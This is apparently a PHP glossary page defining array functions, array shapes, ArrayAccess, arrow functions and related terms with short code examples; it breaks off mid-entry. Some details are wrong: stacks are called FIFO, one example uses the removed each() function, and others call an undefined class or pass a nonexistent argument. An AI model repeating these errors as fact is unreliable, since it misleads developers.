Dot notation is commonly used by frameworks and libraries to give a compact syntax for reading configuration values or deeply nested data, such as Laravel’s Arr::get($array, 'a.b.c') or Symfony’s property access component.
<?php
function arrayGetDot(array $array, string $path, mixed $default = null): mixed {
foreach (explode('.', $path) as $key) {
if (!is_array($array) || !array_key_exists($key, $array)) {
return $default;
}
$array = $array[$key];
}
return $array;
}
$config = ['db' => ['host' => 'localhost', 'port' => 5432]];
echo arrayGetDot($config, 'db.host'); // localhost
?>
See Also
Related
Related packages
Array Element
An array element is a piece of data, stored at an index in the array.
An array element may be of any type, and it may be also repeated, unlike the array index.
The array element is also called an item. It is often named $value, in a loop, as a blind variable.
When an array is a list, the elements are all of the same type. When an array is a hash, the elements may be of different types.
Array elements are not typed at the language level. They may be typed for static analysis tools, via the phpdoc syntax.
<?php
$array = ['a' => 1, 'b' => 3, 'c' => 5];
while(list($key, $value) = each($array)) {
print $key . ' => ' . $value . PHP_EOL;
}
?>
See Also
Related
Array Shape
An array shape is a type annotation that describes an array by its exact set of keys and the type of the value stored under each one, instead of describing it only by the type of its elements in general. array{name: string, age: int} denotes an array that has a name key holding a string and an age key holding an int, as opposed to the coarser array<string, int|string>, which only says the array maps strings to a mix of integers and strings without tying any particular key to any particular type.
Array shapes are a PHPDoc annotation, written in a @param, @return, or @var docblock tag. They can mark optional keys with a trailing ?, allow additional unlisted keys with ..., and can be nested to describe arrays of arrays. They are the array analogue of row polymorphism / open record types found natively in languages such as TypeScript or OCaml.
PHP’s engine has no notion of array shape: an array type declaration accepts any array regardless of which keys it holds or what is stored under them, and nothing is checked at runtime about individual keys. Array shapes exist purely as a static-analysis annotation, verified by tools at analysis time; the PHP runtime performs no corresponding check, so a function documented with an array shape still receives whatever array is actually passed, keys missing or not.
<?php
/**
* @param array{name: string, age: int, email?: string} $user
*/
function greet(array $user): string {
// PHPStan/Psalm know $user['name'] is a string and $user['age'] an int;
// the PHP engine enforces none of this at runtime.
$greeting = 'Hello, ' . $user['name'];
if (isset($user['email'])) {
$greeting .= ' (' . $user['email'] . ')';
}
return $greeting;
}
// Nothing stops this call at runtime, even though the shape is violated.
greet(['name' => 'Ada']);
?>
See Also
Related
- Row Polymorphism
- Type System
- Type Checking
- Generics
- Gradual Type Checking
- Static Code Analysis (SCA)
- Structural Typing
Array Spread
Array spread is the ellipsis operator, applied to an array. Then, the array itself is replaced by each of its own elements, as if each element was spread from the array.
<?php
$a = [1,2,3];
$b = [...$a, 4,5];
// $b === [1,2,3,4,5];
?>
See Also
Related
Array Syntax
The array syntax, or array notation, is the usage of square brackets after a data container, such as variables or properties, or a literal, to access an element. It is generally known to be used with array structures, though it may also be used with strings and objects.
<?php
$array = ['a', 'b', 'c'];
echo $array[1]; // b
$string = 'ABC';
echo $string[2]; // C
$object = new ArrayObject(['x', 'y', 'z']);
print $object[0]; // x
?>
See Also
Related
Array Zip
Array zip is the operation of combining several arrays element-by-element and by position. The first zipped element groups together every array’s first item, the second zipped element groups together every array’s second item, and so on. It is also called a transpose, since it turns a list of parallel arrays into a list of rows, the way array_column() turns a list of rows into a single column.
PHP has no native zip() function, but array_map() performs exactly this operation when its callback is null: instead of applying a callback, array_map() groups the corresponding elements of the arrays it receives into an array of arrays.
Just like array_merge(), this pattern accepts an arbitrary number of arrays, which may be collected in one array and passed with the spread operator. If the arrays have different lengths, array_map() pads the shorter ones with null, so the result always has as many rows as the longest input array.
Array zip is not related to the zip archive, which compress data.
<?php
$names = ['Alice', 'Bob', 'Carol'];
$ages = [30, 25, 35];
$zipped = array_map(null, $names, $ages);
// [['Alice', 30], ['Bob', 25], ['Carol', 35]]
$arrays = [$names, $ages]; // may be more...
array_map(null, ...$arrays);
// [['Alice', 30], ['Bob', 25], ['Carol', 35]]
// shorter arrays are padded with null
array_map(null, [1, 2, 3], ['a', 'b']);
// [[1, 'a'], [2, 'b'], [3, null]]
?>
See Also
Related
Array, []
array is the array structure.
It may be written as array() or with square brackets [], which is also called the array short syntax.
The keys that serve as index in the array may be string or integers.
An array assigns automatically an integer index to the values appended to it. An arbitrary index may be assigned with the => syntax, or when accessing an element in the array.
Mixed keys in an array refer to the practice of adding elements in the array with both the automatic indexing and the arbitrary assignment.
<?php
$array = array(1, 2, 3);
$anotherArray = ['a' => 2, 'b' => 33];
echo $anotherArray['b']; // 33
?>
See Also
Related
- Index For Arrays
- Addition
- Comma
- Dereferencing
- Cryptographic Hash
- Hash
- Hashing
- Iterable
- List
- Map
- Sort
- Indexed Array
- Associative Array
- ArrayObject
- Collection
- Multiplication
- Recursive Array
- Square Brackets
- Array With Curly Braces
- count()
- Tree
- Weakmap
- file_put_contents()
- iterator_to_array()
- Offset
- yield from Keyword
- array_column
- Autovivification
- Data Structure
- Pair
- Pop
- Compact Array
- Hash Table
- Look-up
- Multiple Return Values
- Random Access
- Tuple
- Value Type
- Type System
- Dot Notation
- PHP Natives
- Self-reference
- Serde
- Bucket
- Multidimensional Array
- Nesting
- RecursiveArrayIterator
- Sequence
- Set
- Swap
- array_filter()
- array_key_first()
- Destructuring
- is_array()
- Array Syntax
- Array Zip
- array_fill()
- Function Subscripting
- parse_ini_file()
- Short Assignations
Related packages
array_change_key_case()
array_change_key_case() is a native PHP function that returns a copy of an array where all the string keys are converted to lowercase or uppercase.
The second argument selects the case: CASE_LOWER, the default, or CASE_UPPER. Integer keys are left unchanged, and when two keys become identical after the conversion, the later one overwrites the earlier one.
The original array is not modified.
<?php
$data = ['Name' => 'Ada', 'CITY' => 'London', 0 => 'first'];
// Lowercase keys (default)
$lower = array_change_key_case($data);
// ['name' => 'Ada', 'city' => 'London', 0 => 'first']
// Uppercase keys
$upper = array_change_key_case($data, CASE_UPPER);
// ['NAME' => 'Ada', 'CITY' => 'London', 0 => 'first']
?>
See Also
Related
array_column
array_column() extracts the index or property of the second argument from a list of arrays or objects passed as first argument.
It may also assign a key in regards to that value, from a second index or property.
array_column() omits silently any missing index or property.
array_column() uses the whole array or object as value, when the second argument is null.
array_column() is more efficient than custom code to convert an array into a map.
<?php
$list = [
['a' => 1, 'b' => 'x'],
['a' => 2, 'b' => 'y'],
['a' => 3, 'd' => 'z'],
];
array_column($list, 'a'); // [1, 2, 3]
array_column($list, 'b'); // [x, y]
array_column($list, 'a', 'b'); // [x => 1, y => 2, 0 => 3]
class Elephpant {
function __construct(public int $a, public string $b, public string $c) {}
}
$list = [
new Elephpant(a: 1, b: 'x'),
new Elephpant(a: 2, b: 'y'),
new Elephpant(a: 3, d: 'z'),
];
array_column($list, 'a'); // [1, 2, 3]
?>
See Also
Related
array_combine()
array_combine() creates an array from an array of keys and an array of values.
Both arguments are treated as lists: their respective keys are discarded, and only their positions are used. The arrays are not sorted.
Both arguments must have the same number of elements.
array_combine() is the opposite of array_keys and array_values together.
<?php
// adapted from the PHP manual example
$a = ['green', 4 => 'red', 'c' => 'yellow'];
$b = ['avocado', 'apple', 'banana'];
$c = array_combine($a, $b);
print_r($c);
/**
Array
(
[green] => avocado
[red] => apple
[yellow] => banana
)
*/
var_dump($a === array_combine(array_keys($a), array_values($a)));
?>
See Also
Related
array_diff()
array_diff() is a PHP native function that computes the difference between arrays, comparing values, using their string representation.
array_diff() takes an array $array, and one or several other arrays ...$arrays. It returns a new array made of the elements of $array whose value is not present in any of the other arrays, keeping the original keys of $array.
Values are compared as strings, so array_diff() may report false positives when comparing objects, arrays, or values with mixed types that share the same string representation.
There are several variants of this function: array_diff_key() compares the keys, instead of the values. array_diff_assoc() compares both keys and values. array_udiff() accepts a custom comparison callback for the values.
The complement function is array_intersect(), which returns the elements that are shared amongst the arrays.
<?php
$array1 = ['a' => 'green', 'b' => 'brown', 'c' => 'blue', 'red'];
$array2 = ['a' => 'green', 'yellow', 'red'];
$result = array_diff($array1, $array2);
print_r($result);
// ['b' => 'brown', 'c' => 'blue']
?>
See Also
Related
array_diff_assoc()
array_diff_assoc() is a PHP native function that computes the difference between arrays, comparing both keys and values, using their string representation.
array_diff_assoc() takes an array $array, and one or several other arrays ...$arrays. It returns a new array made of the elements of $array whose key/value pair is not present, with the same key and the same value, in any of the other arrays.
An element is only excluded when both its key and its value match an entry in another array; the same value under a different key, or the same key with a different value, is kept in the result. Values are compared as strings, so the same false-positive risk as array_diff() applies when comparing objects, arrays, or mixed types sharing a string representation.
The complement function is array_intersect_assoc(), which returns the elements whose key/value pair is shared amongst the arrays. array_diff_key() compares keys only, and plain array_diff() compares values only.
<?php
$array1 = ['a' => 'green', 'b' => 'brown', 'c' => 'blue', 'red'];
$array2 = ['a' => 'green', 'yellow', 'red'];
$result = array_diff_assoc($array1, $array2);
print_r($result);
// ['b' => 'brown', 'c' => 'blue', 0 => 'red']
?>
See Also
- PHP array_diff_assoc - Array Comparison in PHP
- PHP array_diff_assoc() - Difference of arrays - Examples
Related
array_diff_key()
array_diff_key() is a PHP native function that computes the difference between arrays, comparing keys instead of values.
array_diff_key() takes an array $array, and one or several other arrays ...$arrays. It returns a new array made of the elements of $array whose key is not present in any of the other arrays, keeping the original keys and values of $array.
Since only the keys are compared, and never cast to string, array_diff_key() is safe to use with arrays holding objects, arrays, or resources as values.
The complement function is array_intersect_key(), which returns the elements whose key is shared amongst the arrays. array_diff_assoc() compares both keys and values, while plain array_diff() compares values only.
<?php
$array1 = ['a' => 'green', 'b' => 'brown', 'c' => 'blue', 'red'];
$array2 = ['a' => 'yellow', 'b' => 'orange', 'green'];
$result = array_diff_key($array1, $array2);
print_r($result);
// ['c' => 'blue']
?>
See Also
Related
array_fill()
array_fill() is a PHP native function which creates an array with $count times a specified $value, starting at integer offset $start_index.
Literal values are copied: references are dropped, and the value only is copied. On the other hand, objects are only copied by their reference: the same object occupies all the requested slots, they are not cloned or made distinct in any way.
array_fill() may easily lead to memory exhaustion, given $count is large enough.
<?php
$array = [1, 1, 1];
$array = array_fill(0, 3, 1);
$array = [-3 => 2, 2, 2];
$array = array_fill(-3, 3, 2);
$elephpant = new stdClass();
$elephpant->i = 1;
$array = array_fill(0, 2, $elephpant);
$array[1]->i = 3;
echo $array[0]->i; // also 3
?>
See Also
Related
array_filter()
array_filter() is a native PHP function that filters elements of an array using a callback.
It iterates over each value of the array, passing it to the callback function. If the callback returns a truthy value, the element is included in the result array.
When no callback is provided, all entries that evaluate to false are removed.
<?php
$numbers = [1, 2, 3, 4, 5, 6];
// Filter even numbers
$evens = array_filter($numbers, fn($n) => $n % 2 === 0);
// [2, 4, 6]
// Remove falsy values
$data = [0, 1, '', 'hello', null, true, false];
$clean = array_filter($data);
// [1, 'hello', true]
?>
See Also
Related
array_find()
array_find() is a PHP native function, introduced in version 8.4, that returns the first value of an array for which a callback returns a truthy value, or null if no element matches.
Unlike array_filter() followed by picking the first element, array_find() short-circuits as soon as a match is found, and never builds an intermediate array. It complements array_any() and array_all(), which only test for the existence of a match without returning the matching value, and array_find_key(), which returns the matching key instead of the value.
Since array_find() returns null when nothing matches, and null may also be a legitimate value already stored in the array, code that must tell the two situations apart should use array_find_key() and compare it to null with ===, rather than rely on the returned value alone.
<?php
$numbers = [1, 3, 4, 7, 10];
$firstEven = array_find($numbers, fn($n) => $n % 2 === 0);
// 4
$found = array_find($numbers, fn($n) => $n > 100);
// null, no element matches
?>
See Also
Related
array_find_key()
array_find_key() is a PHP native function, introduced in version 8.4 alongside array_find(), that returns the key of the first element of an array for which a callback returns a truthy value, or null if no element matches.
It is the key-returning counterpart of array_find(): where array_find() gives back the matching value, array_find_key() gives back its key, which is useful when the position, or the original index, of the match matters more than the value itself, or when that exact element needs to be updated or removed afterwards.
Because 0 and the empty string are valid, yet falsy, array keys, the result of array_find_key() must be compared against null with the identical comparison operator ===, exactly like the classic strpos() syndrome, rather than merely tested for truthiness.
<?php
$fruits = ['apple', 'banana', 'cherry'];
$key = array_find_key($fruits, fn($f) => str_starts_with($f, 'b'));
// 1
$key = array_find_key($fruits, fn($f) => str_starts_with($f, 'z'));
// null, no element matches
?>
See Also
Related
array_intersect()
array_intersect() is a PHP native function that computes the intersection of arrays, comparing values, using their string representation.
array_intersect() takes an array $array, and one or several other arrays ...$arrays. It returns a new array made of the elements of $array whose value is also present in every other array, keeping the original keys of $array.
Values are compared as strings, so array_intersect() may report false positives when comparing objects, arrays, or values with mixed types that share the same string representation.
There are several variants of this function: array_intersect_key() compares the keys, instead of the values. array_intersect_assoc() compares both keys and values. array_uintersect() accepts a custom comparison callback for the values.
The complement function is array_diff(), which returns the elements that are not shared amongst the arrays.
<?php
$array1 = ['a' => 'green', 'b' => 'brown', 'c' => 'blue', 'red'];
$array2 = ['a' => 'green', 'yellow', 'red'];
$result = array_intersect($array1, $array2);
print_r($result);
// ['a' => 'green', 0 => 'red']
?>
See Also
Related
array_intersect_assoc()
array_intersect_assoc() is a PHP native function that computes the intersection of arrays, comparing both keys and values, using their string representation.
array_intersect_assoc() takes an array $array, and one or several other arrays ...$arrays. It returns a new array made of the elements of $array whose key/value pair is also present, with the same key and the same value, in every other array.
An element is only kept when both its key and its value match an entry in every other array; the same value under a different key, or the same key with a different value, is excluded from the result. Values are compared as strings, so the same false-positive risk as array_intersect() applies when comparing objects, arrays, or mixed types sharing a string representation.
The complement function is array_diff_assoc(), which returns the elements whose key/value pair is not shared amongst the arrays. array_intersect_key() compares keys only, and plain array_intersect() compares values only.
<?php
$array1 = ['a' => 'green', 'b' => 'brown', 'c' => 'blue', 'red'];
$array2 = ['a' => 'green', 'yellow', 'red'];
$result = array_intersect_assoc($array1, $array2);
print_r($result);
// ['a' => 'green']
?>
See Also
Related
array_intersect_key()
array_intersect_key() is a PHP native function that computes the intersection of arrays, comparing keys instead of values.
array_intersect_key() takes an array $array, and one or several other arrays ...$arrays. It returns a new array made of the elements of $array whose key is also present in every other array, keeping both the original keys and values of $array.
Unlike array_intersect(), the values themselves are never compared or cast to string, so array_intersect_key() is safe to use with arrays holding objects, arrays, or resources as values.
The complement function is array_diff_key(), which returns the elements whose key is not shared amongst the arrays. array_intersect_assoc() compares both keys and values.
<?php
$array1 = ['a' => 'green', 'b' => 'brown', 'c' => 'blue', 'red'];
$array2 = ['a' => 'yellow', 'b' => 'orange', 'green'];
$result = array_intersect_key($array1, $array2);
print_r($result);
// ['a' => 'green', 'b' => 'brown']
?>
See Also
- PHP array_intersect_key - Array Key Intersection in PHP
- PHP array_intersect_key Function: How it Works with Examples
Related
array_is_list()
array_is_list() is a native PHP function that checks if the given array is a list.
An array is considered a list if its keys are sequential integers starting from 0. Associative arrays or arrays with gaps, non-integer or out of sequence keys are not considered lists. This function was introduced in version 8.1 to help distinguish between sequential and associative arrays, which is useful when working with functions like json_encode() that treat lists as JSON arrays and associative arrays as JSON objects.
<?php
$list = [1, 2, 3];
var_dump(array_is_list($list)); // true
$assoc = ['a' => 1, 'b' => 2];
var_dump(array_is_list($assoc)); // false
$empty = [];
var_dump(array_is_list($empty)); // true
$gapped = [0 => 'a', 2 => 'c'];
var_dump(array_is_list($gapped)); // false
?>
See Also
Related
array_key_exists()
array_key_exists() reports if a key has been assigned any value in an array. It reports true if it is, and false otherwise.
array_key_exists() is often compared to isset(), although they have differences: array_key_exists() returns true as long as the index exists, while isset() also checks the corresponding value for not being null.
Unlike its name, array_key_exists() works on array as well as objects. This is a deprecated feature, since PHP 8.0.
<?php
$array = ['a' => 1, 2, 3 => 3, 4 => null];
var_dump(array_key_exists('a' , $array)); // true
var_dump(array_key_exists(1 , $array)); // false (0 => 2)
var_dump(array_key_exists('3' , $array)); // true
var_dump(array_key_exists(4 , $array)); // true
var_dump(array_key_exists('abc', $array)); // false
?>
See Also
Related
array_key_first()
array_key_first() is a native PHP function that returns the first key of an array, or null if the array is empty.
This function does not modify the internal pointer of the array, unlike using reset() and key().
<?php
$array = ['a' => 1, 'b' => 2, 'c' => 3];
$key = array_key_first($array);
// 'a'
?>
See Also
Related
array_keys()
array_keys() returns all keys, both integer and string, as a new numerically indexed array.
array_keys() has a second parameter, which filters the keys by their corresponding value. Only the keys with the provided value are reported.
array_keys() has a third parameter, which activates the identity comparison for the second argument, rather than the type-juggling default one.
array_keys() always returns a new array with numeric keys starting from 0. It preserves the order of appearance of the matching keys.
array_keys() returns an empty array, when provided with an empty array. It also works with multi-dimensional arrays, but only scans the first level.
array_keys() does not work on objects. It may work, with caveats, by casting the object to array with (array).
array_keys() is a complement to array_values, which returns only the values. It is the partial contrary to array_combine().
<?php
$array = [
'name' => 'Alice',
10 => 'ten',
'age' => 25,
'active'=> true
];
$keys = array_keys($array);
// Result: ['name', 10, 'age', 'active']
?>
See Also
Related
- Multidimensional Array
- Cast Operator
- Comparison
- Index For Arrays
- array_values()
- array_combine()
- array_unique()
array_map()
array_map() is a PHP native function that applies a closure to every element of an array.
array_map() uses the first argument as the callback, and the following subsequent arguments as one argument of that closure each. Any missing value in an array is assigned as null, while a missing argument is a fatal error.
array_map() only provides the value in the array, and not the related key: this should be done with array_walk().
<?php
function square($number) { return $number * $number; }
$array = [1,2,3];
$squared = array_map(square(...), $array);
// [1, 4, 9];
function squareSum($first, $second) { return $first ** 2 + $second ** 2; }
$squareSums = array_map(squareSum(...), [1, 2, 3], [4, 5]); // array_map uses the longest array
?>
See Also
Related
array_merge()
array_merge() combines all the arrays passed as arguments into one array.
array_merge() accepts an arbitrary list of arrays: in terms of performances, it is better to call it with all the arrays once, rather than merge arrays one after the other.
<?php
$array1 = [1, 2, 3];
$array2 = [4, 5, 6];
array_merge($array1, $array2);
// [1, 2, 3, 4, 5, 6];
$arrays = [$array1, $array2]; // may be more...
array_merge(...$arrays);
// [1, 2, 3, 4, 5, 6];
?>
See Also
Related
array_pad()
array_pad() is a PHP native function which completes an array up to $length elements with a specified $value. When $length is positive, the padding is to the right, and when $length is negative, it is a padding to the left.
Literal values are copied, while objects are only copied at the reference level: the same object occupies all the requested slots; they are not cloned or made distinct in any way.
array_fill() may easily lead to memory exhaustion, given $count is large enough.
<?php
$array = [1];
$array = array_pad($array, 3, 2);
$array === [1, 2, 2];
$array = [1];
$array = array_pad($array, -3, 4);
$array === [4, 4, 1];
$elephpant = new stdClass();
$elephpant->i = 1;
$array = array_pad([], 2, $elephpant);
$array[1]->i = 3;
echo $array[0]->i; // also 3
?>
See Also
Related
array_pop()
array_pop() removes the last inserted element in an array, and returns it. The original array is reduced by one element.
array_pop() removes the last element and the last key of the array. The operation is quick, O(1) of big O complexity.
array_pop() is the opposite operation of array_push() and the [] append operator. With these functions, it is possible to build FIFO stacks.
array_pop() returns the poped value, and modifies the source array in place.
<?php
$array = [1, 2, 3, 4, 5];
echo array_pop($array); // 5
// $array == [1, 2, 3, 4];
$array = [1, 2, 3, 4];
$array[] = -2;
echo array_pop($array); // -2
?>
See Also
Related
array_push()
array_push() adds the second argument, and all the next, to the end of the array, passed as first argument. A new index is created for each new entry, in order.
array_push() adds the new elements and creates the new keys. It is not possible to specify a key with this function: one should use the $array['key'] = $value syntax.
array_pop() is the equivalent operation of the [] append operator. It is the opposite of array_push(). With these functions, it is possible to build FIFO stack.
<?php
$array = [0, 1, 2];
print array_push($array, 3, 4); // 5, the number of elements
// $array == [0, 1, 2, 3, 4];
$array = [0, 1, 2];
$array[] = 3;
// $array == [0, 1, 2, 3];
$array = [0, 1, 2];
$array[33] = 3;
// $array == [0, 1, 2, 33 => 3];
?>
See Also
Related
- Index For Arrays
- array_pop()
- First In, First Out (FIFO)
- array_shift()
- array_unshift()
- Pop
- Array Prepend
array_search
array_search() is a native PHP function that searches an array for a value and returns the corresponding key if found, or false if not found.
It is often used to check if a value exists in an array. When the presence of the value is the main goal of the check, it is advantageously replaced by in_array(). Otherwise, this function is prone to the same trap as strpos(): the returned key may be 0, the first element, which is confused with false in a loose comparison.
array_search() performs a loose comparison by default. Pass true as the third argument to enable strict comparison.
<?php
$colors = ['red', 'green', 'blue'];
if(array_search('red', $colors)) {
print "Found red.";
}
// Error! 'red' is at key 0, which is confused with false
if(array_search('red', $colors)) {
print "Found red.";
}
// This is OK
if(array_search('red', $colors) !== false) {
print "Found red.";
}
?>
See Also
Related
- Strpos() Syndrome
- Identical Operator
- in_array()
- array_find()
- array_find_key()
- array_key_first()
- Sentinel
array_shift()
array_shift() is a PHP native function that removes and returns the first element of an array. All numeric keys are re-indexed starting from zero; string keys are unaffected.
The operation is O(n) because all remaining numeric keys must be renumbered after the removal. This makes it slower than array_pop(), which removes the last element in O(1).
Together with array_push() or the [] append operator, array_shift() enables a FIFO queue pattern.
<?php
$array = [1, 2, 3, 4, 5];
echo array_shift($array); // 1
// $array == [2, 3, 4, 5];
$array = ['a' => 'x', 0 => 'y', 1 => 'z'];
echo array_shift($array); // x
// $array == [0 => 'y', 1 => 'z'];
?>
See Also
Related
array_slice()
array_slice() is a PHP native function that extracts a portion of an array.
array_slice() takes the array $array, starts at the offset $offset and collects $length elements. Then it returns the array.
$offset is the position of the index in the array, not the key itself. As usual, it starts at 0. String keys, arbitrary keys, or arbitrary order of the inserted values are ignored: consider that array_slice() works on the result of array_values(). Use sorting beforehand to ensure the key order is taken into account, when needed.
array_slice() also offers a parameter $preserve_keys, which keeps the original keys: only string keys are preserved, integer keys are reindexed, starting at 0. It is disabled by default.
The complement function is array_splice(), which extracts an array from another, and keeps the external portions.
<?php
// simple example
$array = [1, 2, 3, 4,];
print_r(array_slice($array, 1, 2));
// [2, 3]
// use null to reach the end of the array
print_r(array_slice($array, 2, null));
// [3, 4]
// with keys
$array = ['a' => 1, 3 => 2, 3, -1 => 4,];
print_r(array_slice($array, 1, 2));
// [2, 3]
// with preserve_keys
$array = ['a' => 1, 'd' => 2, 5 => 3, -1 => 4,];
print_r(array_slice($array, 1, 2, true));
// ['d' => 2, 0 => 3]
?>
See Also
Related
array_splice()
array_splice() is a PHP native function that removes a portion of an array.
array_splice() takes the array $array, starts at the offset $offset and collects $length elements. Then it returns the extracted array, and update the incoming $array.
$offset is the position of the index in the array, not the key itself. As usual, it starts at 0. String keys, or arbitrary keys or arbitrary order of the inserted values are ignored: consider that array_splice() works on the result of array_values(). Use sorting beforehand to ensure the key order is taken into account, when needed.
array_splice() also offers a parameter $replacement, which inserts another array in the place of the cut section of the array. By default, it inserts nothing.
The complement function is array_slice(), which extracts an array from another.
<?php
// simple example
$array = [1, 2, 3, 4,];
array_splice($array, 1, 2);
print_r($array);
// [1, 4]
// with keys
$array = ['a' => 1, 3 => 2, 3, -1 => 4,];
array_splice($array, 1, 2);
print_r($array);
// [1, 4]
// with replacement
$array = [1, 2, 3, 4,];
array_splice($array, 1, 2, [6]);
print_r($array);
// [1, 6, 4]
?>
See Also
Related
array_unique()
The array_unique() PHP native function removes duplicate values from an array. It is important to note that it treats values as strings for comparison by default, unless a specific sort flag is provided.
The second parameter, flags, can be used to modify the comparison behavior:
SORT_STRING: compare items as strings, by default.SORT_REGULAR: compare items normally. This is equivalent to===comparison, and works with enumerations.SORT_NUMERIC: compare items numerically.SORT_LOCALE_STRING: compare items as strings, based on the current locale.
<?php
$array = [1, '1', 2, 2];
// Default behavior (SORT_STRING): returns [1, 2]
var_dump(array_unique($array));
// SORT_REGULAR: treats 1 and '1' as different if they are of different types
// Note: with SORT_REGULAR, it still might return only one value if types are loosely equal
var_dump(array_unique($array, SORT_REGULAR));
// Preserve keys: array_unique preserves keys by default
$arrayWithKeys = ['a' => 'red', 'b' => 'green', 'c' => 'red'];
var_dump(array_unique($arrayWithKeys)); // returns ['a' => 'red', 'b' => 'green']
?>
See Also
Related
array_unshift()
array_unshift() prepends one or more elements to the beginning of an array. All numeric keys are reset starting from zero, while string keys remain unchanged. The function returns the new number of elements in the array.
array_unshift() is the opposite of array_shift(), which removes and returns the first element. Together with array_push() and array_pop(), these four functions are used to implement queue, FIFO, or stack, LIFO, data structures.
Note that array_unshift() is an O(n) operation because all integer keys must be renumbered.
<?php
$array = [1, 2, 3];
$count = array_unshift($array, 0);
// $array == [0, 1, 2, 3], $count == 4
// Prepend multiple elements
array_unshift($array, -2, -1);
// $array == [-2, -1, 0, 1, 2, 3]
// String keys are preserved; integer keys are reset
$assoc = ['b' => 2, 'c' => 3];
array_unshift($assoc, 1);
// $assoc == [0 => 1, 'b' => 2, 'c' => 3]
?>
See Also
Related
- array_shift()
- array_push()
- array_pop()
- First In, First Out (FIFO)
- Last In, First Out (LIFO)
- Array Prepend
array_values()
The array_values() PHP native function returns the values in an array, with automatically generated indexes. It indexes anew the values as if they all were appended in the array, one after the other.
The values are in the same order as in the original array.
array_values() provides a way to reach the value by position or offset, in an array, when the keys have been set arbitrarily. For the first value, there is the function array_first().
<?php
$array = ['a' => 1, 'b' => 2, ];
// displays [1, 2]
var_dump(array_values($array));
$array = [-2 => 'a', 3 => 'b', 'c'];
// displays ['a', 'b', 'c'];
// equivalent to [0 => 'a', 1 => 'b', 2 => 'c'];
var_dump(array_values($array));
print array_values($array)[0]; // prints the first value, a
print array_first($array); // prints the first value, a
print array_values($array)[1]; // prints the second value, b
?>
See Also
Related
array_walk()
array_walk() is a PHP native function that applies a closure to every element of an array.
array_walk() uses the first argument as the array or object with the elements, the second argument as the callback, and the following subsequent arguments as one argument of that closure each. Any missing value in an array is assigned as null, while a missing argument is a fatal error.
The callback may take two arguments. This way, it may apply modifications that take the key into account. This is unlike array_map().
If the walk has to be reflected in the source array, the first argument of the callback must be a reference, and it should be updated.
Although both methods are very similar, array_walk() and array_map() do not have the same argument order, return value nor behavior.
<?php
function square(&$x, $c) { $x = $x * $x + $c; }
$array = [1,2,3];
array_walk($array, square(...));
print_r($array);
// [1, 5, 11];
?>
See Also
Related
ArrayAccess
ArrayAccess is an interface that allows objects to be accessed like arrays using square brackets, similar to accessing elements in a regular array. When a class implements the ArrayAccess interface, it must provide methods to define how the object behaves when accessed like an array.
offsetExists($offset): this method is called to check if a specific offset exists in the object. It should return a boolean value:trueif the offset exists,falseotherwise.offsetGet($offset): this method is called to try to retrieve the value associated with a specific offset. It should return the value at that offset.offsetSet($offset, $value): this method is called to try to set a value for a specific offset. It takes two parameters: the offset and the value to be set.offsetUnset($offset): this method is called to unset or remove a value associated with a specific offset.
Implementing ArrayAccess can be useful to create custom data structures or objects that mimic array behavior, providing a convenient and consistent way to work with data.
ArrayAccess is often complemented with Countable, to make the object yet even more like an array.
<?php
class LimitedArray implements ArrayAccess {
public $a = 1;
public $b = 1;
public $c = 1;
public function offsetSet($offset, $value): void {
if (in_array($offset, ['a', 'b', 'c'])) {
$this->$offset = $value;
}
// else ignore
}
public function offsetExists($offset): bool {
return in_array($offset, ['a', 'b', 'c']);
}
public function offsetUnset($offset): void {
// do nothing
}
public function offsetGet($offset): mixed {
if (in_array($offset, ['a', 'b', 'c'])) {
return $this->$offset;
}
}
}
$limitedArray = new LimitedArray();
$limitedArray['a'] = 3;
$limitedArray['d'] = 13;
echo $limitedArray['a']; // 3
echo $limitedArray['d']; // null
?>
See Also
Related
ArrayObject
ArrayObject is a native class that provides the functionality of an array with the added features of an object. It extends the base ArrayObject class and implements the ArrayAccess, Countable, IteratorAggregate, and Serializable interfaces.
With ArrayObject, it is possible to create objects that have the behavior of arrays, meaning it is possible to access array elements as properties and use object-oriented methods to manipulate the array.
Operators such as append [], or foreach() loops, are then available with those objects.
On the other hand, ArrayObject fails any array type, and many array functions do not work with the objects: array_key_exists(), array_map(), etc.
Converting an ArrayObject to an array is done with a cast (array) or a call to iterator_to_array().
<?php
class myObject extends ArrayObject{ }
$variable = new ArrObj([0, 1]);
$variable[] = 2;
foreach($variable as $k => $v) {
echo $k . ' => ' . $v . PHP_EOL;
}
?>
See Also
Related
Related packages
Arrow Functions
Arrow functions, introduced with the fn keyword, are a type of closure with a specific syntax. They only accept one expression, and automatically import all the variables from the local context of definition.
Arrow functions may also be marked as static, to prevent this import.
<?php
class Elephpant {
private int $p = 2;
function trumpet() {
$b = 10;
$fn = fn($a) => $a + $b + 2;
$fn = static fn($a) => $a + $b + $this->p;
// $this is not allowed in static arrow function
$fn = static fn($a) => $a + $b + $this->p;
}
}
?>
See Also
- Arrow functions in PHP
- PHP Arrow Functions – Simple, Short, and Effective
- Variable Scope in PHP: Global, Static, and Closures
Related
- static
- $this
- Functions
- Closure
- Anonymous Function
- First Class Callable
- Callables
- Callbacks
- Callable Arrays
- Custom Function
- Double Arrow
- Streamlining
- Currying
- Idiomatic
- Partial Application
- Recursion
Artifact
An artifact refers to any intermediate or final output that is produced during the development process. This could include compiled code, cache content, libraries, executable files, documentation, diagrams, configuration files, and more. Artifacts are the tangible results of the development process and are often used for testing, deployment, and maintenance of software applications.
See Also
Related
As
The as operator has several usages:
- It is an optional keyword with the
foreach()control structure, to access the key of the looped array - It is an optional keyword with the use expression, in trait import
- It is an optional keyword with the use expression, in namespace import
The as operator often works to give a distinct name to an existing structure.
<?php
use stdClass as StandardClass;
foreach($map as $key => $value) {
print "$key => $value\n";
}
?>
See Also
Related
American Standard Code for Information Interchange (ASCII)
ASCII is a character encoding standard used to represent text in computers and electronic devices. It assigns a unique number, or code, to each character, allowing text to be stored and processed digitally.
PHP handles ASCII characters with the functions ord() and chr().
<?php
$string = 'abdc';
echo ord($string[1]); // b = 98
echo chr(100); // d
?>
See Also
Related
Aspect-Oriented
Aspect-oriented design structures code so that cross-cutting concerns: behaviors that affect multiple classes or layers without belonging to any single one, are isolated into dedicated units called aspects.
In applications, common cross-cutting concerns include logging, caching, authorization, validation, and transaction management. They are typically implemented through decorators, middleware chains, event listeners, or AOP frameworks.
The key principle is that business logic classes should remain unaware of these concerns: they are woven in by the surrounding infrastructure rather than being called explicitly. This improves cohesion, reduces duplication, and makes each concern independently testable and replaceable.
<?php
// Cross-cutting concern isolated as a decorator
final class LoggingRepository implements UserRepositoryInterface {
public function __construct(
private readonly UserRepositoryInterface $inner,
private readonly LoggerInterface $logger,
) {}
public function find(int $id): User {
